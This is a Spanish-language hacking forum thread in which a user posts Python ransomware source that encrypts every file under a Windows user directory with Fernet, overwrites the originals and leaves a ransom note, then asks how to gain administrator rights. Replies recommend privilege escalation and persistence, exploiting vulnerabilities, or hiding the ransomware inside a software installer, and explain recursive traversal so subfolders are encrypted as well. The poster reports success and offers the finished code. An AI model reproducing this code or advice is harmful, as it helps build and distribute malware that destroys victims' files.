Problema con Ransomware


Buenas Noders,

Estoy trabajando con el codigo de un Ransomware, la question es que funciona si le digo que encrypte una carpeta sin permisos, pero cuando le pongo una ruta con permisos com 'C:\Users' me da este error: (PermissionError: [Errno 13] Permission denied: 'C:\\Users').
Hay alguna forma de que el codigo se ejecute con permissos de administrador?

Les adjunto el codigo del Ransomware:

from cryptography.fernet import Fernet
import os

def generar_key():
key = Fernet.generate_key()
with open('key.key', 'wb') as key_file:
key_file.write(key)

def cargar_key():
return open('key.key', 'rb').read()

def encrypt(items, key):
f = Fernet(key)
for item in items:
with open(item, 'rb') as file:
file_data = file.read()
encrypted_data = f.encrypt(file_data)
with open(item, 'wb') as file:
file.write(encrypted_data)


if __name__ == '__main__':
path_to_encrypt = 'C:\\Users'
items = os.listdir(path_to_encrypt)
full_path = [path_to_encrypt + '\\' + item for item in items]

generar_key()
key = cargar_key()

encrypt(full_path, key)

with open(path_to_encrypt + '\\' + 'leeme.txt', 'w') as file:
file.write('Text\n')
file.write('+ text')
 

M4ndy

【=◈︿◈=】
Noder
Lo mismo primero te toca escalar privilegios en máquina Windows y crear una persistencia, que es algo más jodido
 
  • Like
Reacciones : 4lp0

Sonya

Miembro
Un ransomware que afecte al sistema completo suele existir porque la herramienta con el que iba metido tenía permisos de administrador para ser instalado. La efectividad seguirá siendo la misma incluso si limitas la ejecución del ransomware a la carpeta de tu usuario.

Si realmente quieres permisos de administrador porque tu ransomware va a afectar hasta a los archivos esenciales del sistema, puedes o bien abusar de vulnerabilidades, o meterlo dentro de un asistente de instalación de cualquier herramienta. La mayoría prefiere la última opción.
 
  • Like
Reacciones : 4lp0 y obtuso

4lp0

Miembro muy activo
@Sonya gracias por la respuesta, no es necessario el permiso de administrador, con permisos de usuario para que el codigo encrypte por ejemplo el Escritorio del usuario (C:\Users\XXX\Desktop) me serviria, pero me da el mismo error.

Sabes con que permisos se ejecuta el codigo? (lo ejecuto en pycharm, pero la idea es cuando funcione convertir-lo en ejecutable)
Sabes de alguna forma para que tenga permisos almenos de usuario? O algun modo de meterlo dentro de un asistente de intalación?

Gracias.
 

4lp0

Miembro muy activo
@Sonya gracias por la respuesta, no es necessario el permiso de administrador, con permisos de usuario para que el codigo encrypte por ejemplo el Escritorio del usuario (C:\Users\XXX\Desktop) me serviria, pero me da el mismo error.

Sabes con que permisos se ejecuta el codigo? (lo ejecuto en pycharm, pero la idea es cuando funcione convertir-lo en ejecutable)
Sabes de alguna forma para que tenga permisos almenos de usuario? O algun modo de meterlo dentro de un asistente de intalación?

Gracias.
Creo que he aislado el problema, me da error de permisos cuando en la ruta especificada a encryptar hay sub-carpetas.
Alguna idea de como hacer para que las carpetas tambien se encrypten?
 

Sonya

Miembro
Creo que he aislado el problema, me da error de permisos cuando en la ruta especificada a encryptar hay sub-carpetas.
Alguna idea de como hacer para que las carpetas tambien se encrypten?

No he usado Python para esto pero imagino que estarás teniendo el problema de que no va a encriptar carpetas ni subcarpetas porque son directorios y no archivos, que es lo que Python está buscando.
Utiliza una búsqueda recursiva para que Python pueda acceder a las subcarpetas.

¿Puedes encriptar archivos dentro de la carpeta donde está el archivo?
Y prueba a no ejecutar el código desde tu IDE. Guárdalo en un .py y ejecútalo como te convenga. Quizá el terminal de tu IDE no te deja sobreescribir archivos ajenos al de tu proyecto como forma de protección.
 

4lp0

Miembro muy activo
No he usado Python para esto pero imagino que estarás teniendo el problema de que no va a encriptar carpetas ni subcarpetas porque son directorios y no archivos, que es lo que Python está buscando.
Utiliza una búsqueda recursiva para que Python pueda acceder a las subcarpetas.

¿Puedes encriptar archivos dentro de la carpeta donde está el archivo?
Y prueba a no ejecutar el código desde tu IDE. Guárdalo en un .py y ejecútalo como te convenga. Quizá el terminal de tu IDE no te deja sobreescribir archivos ajenos al de tu proyecto como forma de protección.
Gracias por la ayuda, finalmente he podido encryptar todos los archivos de una ruta de forma recursiva, si te interessa el codigo dime algo.
 
  • Like
Reacciones : Ivanof